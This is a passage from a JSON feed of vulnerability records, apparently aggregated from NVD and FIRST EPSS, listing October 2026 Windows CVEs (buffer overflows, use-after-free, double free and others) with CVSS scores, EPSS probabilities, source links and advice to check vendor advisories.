to execute code over a network.","detail":"Stack-based buffer overflow in Windows Error Reporting allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:05.150Z","updatedAt":"2026-10-16T16:21:11.757Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83643","asOf":"2026-10-16T16:21:11.757Z"},"epss":{"probability":0.00948,"percentile":0.60928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83643","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83643","type":"primary","publishedAt":"2026-10-13T19:20:05.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83643&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83643, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83641","cveId":"CVE-2026-83641","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Media allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:04.700Z","updatedAt":"2026-10-16T16:21:11.400Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83641","asOf":"2026-10-16T16:21:11.400Z"},"epss":{"probability":0.00361,"percentile":0.2967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83641&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83641","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83641","type":"primary","publishedAt":"2026-10-13T19:20:04.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83641&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83641, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83640","cveId":"CVE-2026-83640","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.","summary":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.","detail":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to execute code locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:04.503Z","updatedAt":"2026-10-16T16:21:11.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83640","asOf":"2026-10-16T16:21:11.237Z"},"epss":{"probability":0.00361,"percentile":0.29672,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83640&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83640","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83640","type":"primary","publishedAt":"2026-10-13T19:20:04.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83640&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83640, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83639","cveId":"CVE-2026-83639","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:04.293Z","updatedAt":"2026-10-17T04:16:56.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83639","asOf":"2026-10-17T04:16:56.897Z"},"epss":{"probability":0.00361,"percentile":0.2967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83639&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83639","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83639","type":"primary","publishedAt":"2026-10-13T19:20:04.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83639&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83639, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83638","cveId":"CVE-2026-83638","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:04.087Z","updatedAt":"2026-10-16T16:21:10.907Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83638","asOf":"2026-10-16T16:21:10.907Z"},"epss":{"probability":0.00361,"percentile":0.29673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83638&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83638","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83638","type":"primary","publishedAt":"2026-10-13T19:20:04.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83638&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83638, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83637","cveId":"CVE-2026-83637","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:03.900Z","updatedAt":"2026-10-16T16:21:10.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83637","asOf":"2026-10-16T16:21:10.750Z"},"epss":{"probability":0.00388,"percentile":0.32608,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83637&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83637","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83637","type":"primary","publishedAt":"2026-10-13T19:20:03.900Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83637&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83637, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83634","cveId":"CVE-2026-83634","aliases":[],"kind":"vulnerability","title":"Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.","summary":"Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.","detail":"Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:03.400Z","updatedAt":"2026-10-13T21:18:28.897Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83634","asOf":"2026-10-13T21:18:28.897Z"},"epss":{"probability":0.00361,"percentile":0.29674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83634","type":"primary","publishedAt":"2026-10-13T19:20:03.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83588","cveId":"CVE-2026-83588","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows USB Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:03.210Z","updatedAt":"2026-10-16T16:21:10.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83588","asOf":"2026-10-16T16:21:10.303Z"},"epss":{"probability":0.00361,"percentile":0.2967,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83588&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83588","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83588","type":"primary","publishedAt":"2026-10-13T19:20:03.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83588&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83588, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83587","cveId":"CVE-2026-83587","aliases":[],"kind":"vulnerability","title":"Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.","summary":"Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.","detail":"Untrusted pointer dereference in Windows Core Messaging allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:03.033Z","updatedAt":"2026-10-16T16:21:10.147Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83587","asOf":"2026-10-16T16:21:10.147Z"},"epss":{"probability":0.00361,"percentile":0.29674,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83587&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83587","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83587","type":"primary","publishedAt":"2026-10-13T19:20:03.033Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83587&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83587, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83586","cveId":"CVE-2026-83586","aliases":[],"kind":"vulnerability","title":"Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.","summary":"Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.","detail":"Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:02.897Z","updatedAt":"2026-10-13T21:18:28.480Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83586","asOf":"2026-10-13T21:18:28.480Z"},"epss":{"probability":0.00323,"percentile":0.25033,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83586&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83586","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83586","type":"primary","publishedAt":"2026-10-13T19:20:02.897Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83586&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83586, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83585","cveId":"CVE-2026-83585","aliases":[],"kind":"vulnerability","title":"Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Use of externally-controlled format string in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:02.710Z","updatedAt":"2026-10-16T16:21:09.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83585","asOf":"2026-10-16T16:21:09.900Z"},"epss":{"probability":0.00361,"percentile":0.29678,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83585&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83585","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83585","type":"primary","publishedAt":"2026-10-13T19:20:02.710Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83585&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83585, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83584","cveId":"CVE-2026-83584","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:02.530Z","updatedAt":"2026-10-17T04:16:54.640Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83584","asOf":"2026-10-17T04:16:54.640Z"},"epss":{"probability":0.00286,"percentile":0.20927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83584&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83584","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83584","type":"primary","publishedAt":"2026-10-13T19:20:02.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83584&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83584, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83583","cveId":"CVE-2026-83583","aliases":[],"kind":"vulnerability","title":"Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.","summary":"Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.","detail":"Improper access control in Windows Geotag Broker allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:02.367Z","updatedAt":"2026-10-16T16:21:09.580Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83583","asOf":"2026-10-16T16:21:09.580Z"},"epss":{"probability":0.00346,"percentile":0.27909,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83583&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83583","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83583","type":"primary","publishedAt":"2026-10-13T19:20:02.367Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83583&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83583, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83580","cveId":"CVE-2026-83580","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based 